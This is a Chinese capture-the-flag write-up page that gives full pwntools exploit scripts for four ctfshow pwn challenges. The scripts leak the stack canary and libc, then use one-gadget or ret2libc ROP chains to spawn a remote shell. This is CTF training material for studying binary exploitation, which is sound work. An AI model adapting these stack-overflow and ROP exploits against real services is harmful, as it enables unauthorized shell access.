PWN-PRACTICE-CTFSHOW-6

  • 36D杯-MengxinStack
  • 36D杯-tang
  • 1024杯-1024_happy_stack
  • 1024杯-1024_happy_checkin

36D杯-MengxinStack

程序开了canary和PIE保护
泄露远程libc版本,为 libc6_2.23-0ubuntu10_amd64.so

from pwn import *
io=remote("pwn.challenge.ctf.show",28124)
io.recvuntil("She said: hello?\n")
payload="a"*0x40+"b"*8
io.send(payload)
io.recvuntil("b"*8)
__libc_start_main_ret=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("__libc_start_main_ret=="+hex(__libc_start_main_ret))

泄露canary->覆盖返回地址低字节,重新调用main->泄露libc基地址->覆盖返回地址为one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28124)
elf=ELF("./pwn1")#泄露远程libc版本
#io.recvuntil("She said: hello?\n")
#payload="a"*0x40+"b"*8
#io.send(payload)
#io.recvuntil("b"*8)
#__libc_start_main_ret=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#print("__libc_start_main_ret=="+hex(__libc_start_main_ret))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary
io.recvuntil("She said: hello?\n")
payload="a"*32+"b"*8
io.sendline(payload)
io.recvuntil("b"*8)
canary=u64(io.recv(8))-0xa
print("canary=="+hex(canary))#.text:00000000000207FA                 mov     rax, fs:2F8h
#.text:0000000000020803                 mov     [rsp+0B8h+var_48], rax
#.text:0000000000020808                 lea     rax, [rsp+0B8h+var_98]
#.text:000000000002080D                 mov     fs:300h, rax
#.text:0000000000020816                 mov     rax, cs:environ_ptr_0
#.text:000000000002081D                 mov     rsi, [rsp+0B8h+var_B0]
#.text:0000000000020822                 mov     edi, [rsp+0B8h+var_A4]
#.text:0000000000020826                 mov     rdx, [rax]
#.text:0000000000020829                 mov     rax, [rsp+0B8h+var_A0]
#.text:000000000002082E                 call    rax
#.text:0000000000020830
#.text:0000000000020830 loc_20830:                              ; CODE XREF: __libc_start_main+134↓j
#.text:0000000000020830                 mov     edi, eax
#.text:0000000000020832                 call    exit#覆盖返回地址低字节,重新调用main
payload="a"*40+p64(canary)+"b"*0x18+"\x16"
io.send(payload)#泄露libc基址
io.recvuntil("She said: hello?\n")
payload="a"*0x40+"b"*8
io.send(payload)
io.recvuntil("b"*8)
__libc_start_main=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
ogg=libc_base+0x45216#覆盖返回地址到one-gadget
payload="a"*40+p64(canary)+"b"*0x18+p64(ogg)
io.send(payload)io.interactive()

36D杯-tang

保护全开,这题思路和36D杯-MengxinStack很像
泄露远程libc版本,为 libc6_2.23-0ubuntu10_amd64.so

from pwn import *
io.recvuntil("你怎么了?\n")
io.send("%23$p")
io.recvuntil("0x")
__libc_start_main_ret=int(io.recv(12),16)
print("__libc_start_main_ret=="+hex(__libc_start_main_ret))

泄露canary->覆盖返回地址低字节,重新调用main->泄露libc基地址->覆盖返回地址为one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28026)
elf=ELF("./pwn1")#泄露远程libc版本
#io.recvuntil("你怎么了?\n")
#io.send("%23$p")
#io.recvuntil("0x")
#__libc_start_main_ret=int(io.recv(12),16)
#print("__libc_start_main_ret=="+hex(__libc_start_main_ret))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary
io.recvuntil("你怎么了?\n")
io.send("%9$p")
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))#.text:00000000000207FA                 mov     rax, fs:2F8h
#.text:0000000000020803                 mov     [rsp+0B8h+var_48], rax
#.text:0000000000020808                 lea     rax, [rsp+0B8h+var_98]
#.text:000000000002080D                 mov     fs:300h, rax
#.text:0000000000020816                 mov     rax, cs:environ_ptr_0
#.text:000000000002081D                 mov     rsi, [rsp+0B8h+var_B0]
#.text:0000000000020822                 mov     edi, [rsp+0B8h+var_A4]
#.text:0000000000020826                 mov     rdx, [rax]
#.text:0000000000020829                 mov     rax, [rsp+0B8h+var_A0]
#.text:000000000002082E                 call    rax
#.text:0000000000020830
#.text:0000000000020830 loc_20830:                              ; CODE XREF: __libc_start_main+134↓j
#.text:0000000000020830                 mov     edi, eax
#.text:0000000000020832                 call    exitio.recvuntil("烫\n")
io.sendline("P1umH0")#覆盖返回地址低字节,重新调用main
io.recvuntil("远一点!\n")
payload="a"*56+p64(canary)+"b"*0x18+"\x16"
io.send(payload)#泄露libc基址
io.recvuntil("你怎么了?\n")
io.send("%23$p")
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
ogg=libc_base+0xf1147io.recvuntil("烫\n")
io.sendline("P1umH0")#覆盖返回地址到one-gadget
io.recvuntil("远一点!\n")
payload="a"*56+p64(canary)+"b"*0x18+p64(ogg)
io.send(payload)io.interactive()

1024杯-1024_happy_stack

栈溢出,用"36D\x00"绕过strcmp,然后ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28138)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4006AE
pop_rdi=0x400803
ret=0x40028aio.recvuntil("qunzhu\n\n")
payload="36D\x00"+"a"*(0x380-4)+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9aio.recvuntil("qunzhu\n\n")
payload="36D\x00"+"a"*(0x380-4)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)io.interactive()

1024杯-1024_happy_checkin

栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28173)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4005F7
pop_rdi=0x4006e3
ret=0x4004c6io.recvuntil("ticket\n")
payload="a"*0x370+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9aio.recvuntil("ticket\n")
payload="a"*0x370+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)io.interactive()

PWN-PRACTICE-CTFSHOW-6相关推荐

  1. CTFshow——Pwn(1)

    CTFshow--Pwn(1) 有点懒不想写write up了.只有exploit. PWN签到题 from pwn import * p = remote('xxx',xxx) p.interact ...

  2. ctfshow pwn——PWN签到题、pwn02

    PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看 很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出 用pwnd ...

  3. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  4. CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...

  5. CTFSHOW 套娃shell

    CTFSHOW 套娃shell 1.题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了): GET /?file=/a HTTP/1.1 Host: 127.0.0.1 ...

  6. [ CTF ] WriteUp- 20221003 CTFShow新(脑洞)手(套路)杯

    目录 [Misc]哇库哇库 [Misc]显卡坏了 赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...

  7. ctfshow愚人节欢乐赛wp(部分)

    目录 特殊base 凌晨四点的ctfshow php的简单RCE 以旧换新(签退-送分) 暴躁的zip Easy_game 这次月赛拿了个第十二,差一丢丢,只能说凌晨四点赚到了,下面这些是我比赛的时候 ...

  8. ctfshow吃瓜杯 八月群赛 WriteUp/WP

    Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...

  9. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  10. HDU1089-1096 A+B for Input-Output Practice 系列问题(输入输出格式练习)

    HDU1089 A+B for Input-output Practice (1) 问题描述:每行输入一对整数a和b,每行对应输出a与b的和. Sample Input 1 5 10 20 Sampl ...

最新文章

  1. Java项目:仿小米商城系统(前后端分离+java+vue+Springboot+ssm+mysql+maven+redis)
  2. 修身论文2000字_那些没能写出毕业论文的博士生,究竟是败在了哪里?
  3. Keil中找不到芯片,往Keil中添加不存在的芯片,Keil安装pack文件
  4. 回文字符串(Palindromic_String)
  5. java文本框背景_用Java编写小程序(包含组合框下拉和文本框)变换背景颜色
  6. 螺旋千斤顶设计大作业_如何正确使用汽车千斤顶,新手司机看过来,老司机教你正确用法...
  7. sae中使用django migrate导致13013的问题
  8. codeforces 816 B. Karen and Coffee(思维)
  9. lsd 特征点匹配代码_OpenCvSharp 通过特征点匹配图片
  10. chromedriver放在哪个目录下_python | Linux各目录及每个目录的详细介绍 - MR_黄Python之路...
  11. ssh隧道(通过跳板机)连接mysql
  12. 计算机网络物理结构两大部分组成,计算机网络的组成部分 -华强电子网
  13. 三星5G先锋计划:0元起抢先换5G不是梦
  14. multisim中pwl_(Multisim电子电路仿真教程)第3章Multisim仿真元件库与虚拟仪器.ppt
  15. python联合vrep_vrep-python 控制方法
  16. uniapp 定位服务_uniapp使用高德地图定位
  17. sqlserver把某个字段多行逗号隔开
  18. 阿里云云服务器无法通过公网ip地址访问网站的解决方法
  19. 冯诺依曼与哈佛结构的区别
  20. NVIDIA CUDA 高度并行处理器编程(一):CUDA简介

热门文章

  1. hdu 4322 最大费用流
  2. VS2008 JS脚本调试总是调试旧代码 真不知道怎么回事?谁能帮帮我呀!
  3. [Leetcode][第39题][JAVA][组合总和][回溯][dfs][剪枝]
  4. linux h5 动画软件下载,技术|7款绚丽的jQuery/HTML5动画及源码
  5. linux重启mysql一直_LINUX重启MYSQL的命令
  6. Matlab绘图--包含各种标示符的输入方法
  7. mysql导出表_mysql导出表的3种方式
  8. 芯片设计中的latch_Latch-up (闩锁效应)
  9. ubuntu 18.04 显卡驱动
  10. Linux 信号signal处理函数